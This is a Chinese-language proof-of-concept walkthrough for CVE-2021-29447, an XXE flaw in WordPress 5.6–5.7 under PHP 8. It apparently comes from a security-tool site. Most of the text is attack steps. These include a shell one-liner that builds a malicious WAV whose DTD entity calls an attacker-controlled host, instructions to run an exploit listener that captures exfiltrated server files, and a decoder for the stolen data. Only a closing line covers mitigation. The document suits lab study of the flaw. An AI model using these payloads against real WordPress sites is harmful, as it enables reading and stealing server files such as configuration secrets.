CVE-2021-29447-PoC

概述

CVE-2021-29447 是一个 XML 外部实体（XXE）注入漏洞，影响运行在 PHP 8.0+ 环境下的 WordPress 版本 5.6–5.7（已在 5.7.1 中修复）。该漏洞存在于用于媒体元数据解析的 getID3 库中。

WordPress 通过 getID3 处理 WAV 文件的 iXML 块，该库使用 LIBXML_NOENT 标志调用 simplexml_load_string()。该标志显式启用了外部实体替换，从而绕过了 PHP 8 默认的 XXE 保护（已弃用的 libxml_disable_entity_loader()）。

1. 经认证的用户（作者及以上权限）上传恶意 WAV 文件
2. getID3 → iXML 块 → simplexml_load_string(XXE_PAYLOAD, LIBXML_NOENT)
3. 外部 DTD 获取 → PHP data:// 包装器 → 任意文件泄露

概念验证环境搭建

本 PoC 使用 Docker 化的 WordPress 5.7 + PHP 8.0.3 演示该漏洞。Linux 用户可使用单一文件脚本，该脚本也会生成 WAV/DTD 文件。

▶️：https://youtu.be/YnGowuWHFyY

前提条件与环境配置

1. 在 Windows 主机上安装 Docker Desktop

2. 创建专用项目目录（所有 PowerShell 命令在此目录中执行）：

   root@kitploit:~

    #powershell
   mkdir cve-2021-29447-poc
    cd cve-2021-29447-poc
   

3. 部署存在漏洞的 WordPress：

   root@kitploit:~

    #powershell
    notepad docker-compose.yml
   

   复制并粘贴 docker-compose.yml 的内容

4. 启动容器：

   root@kitploit:~

    #powershell
    docker-compose up -d
   

5. 禁用自动更新（对漏洞持久性至关重要）：

   root@kitploit:~

    #powershell
    docker-compose exec wordpress bash
   
    #bash
    sed -i "s/WP_AUTO_UPDATE_CORE', true/WP_AUTO_UPDATE_CORE', false/g" /var/www/html/wp-config-sample.php
   
    echo "define('AUTOMATIC_UPDATER_DISABLED', true);" >> /var/www/html/wp-config-sample.php
    echo "define('WP_AUTO_UPDATE_CORE', false);" >> /var/www/html/wp-config-sample.php
   
    tail -5 /var/www/html/wp-config-sample.php
    exit
   

6. 验证存在漏洞的版本：

   root@kitploit:~

    #powershell
    docker-compose exec wordpress bash -c "grep wp_version /var/www/html/wp-includes/version.php && php -v"
   

   预期输出：WordPress 5.7, PHP 8.0+

7. WordPress 安装：

   导航：http://localhost:8080

   管理员：test / test / [email protected]

   完成设置 → 访问 /wp-admin

8. 攻击者 IP 发现：

   root@kitploit:~

    #powershell
    ipconfig | findstr IPv4
   

   记下你的 IP（例如 192.168.1.196）

利用载荷生成

1. 创建 DTD 载荷：

   root@kitploit:~

    #powershell
    notepad evil.dtd
   

   复制并粘贴 evil.dtd 的内容

2. 生成 WAV 载荷（Linux CLI）：

   root@kitploit:~

   #bash
    echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://YOUR_IP:PORT/evil.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav
   

   通过 python3 -m http.server 8000 传输 → Windows 浏览器下载（例如 http://<VM_IP>:8000）

   注意：由于 Windows 环境中的二进制转义复杂性，WAV 文件需单独生成

3. 部署利用服务器：

   root@kitploit:~

    #powershell
    notepad exploit.py
   

   复制并粘贴 exploit.py 的内容

   命令：

   root@kitploit:~

    #powershell
    python exploit.py -l YOUR_IP -p PORT 
   

利用过程

1. 触发 XXE：

   http://localhost:8080/wp-admin → 媒体 → 添加新文件

   上传 payload.wav

2. 监控 Python 服务器控制台 → 捕获外泄数据

3. 解码 Base64+Zlib 载荷：

   root@kitploit:~

    #powershell
    $bd='PASTE_BASE64_HERE';$bytes=[Convert]::FromBase64String($bd);$decoded=[System.IO.Compression.DeflateStream]::new([System.IO.MemoryStream]::new($bytes,$false),[System.IO.Compression.CompressionMode]::Decompress);[System.IO.StreamReader]::new($decoded).ReadToEnd()
   

缓解措施

升级到 WordPress 5.7.1+ 或在 getID3 解析中禁用 LIBXML_NOENT。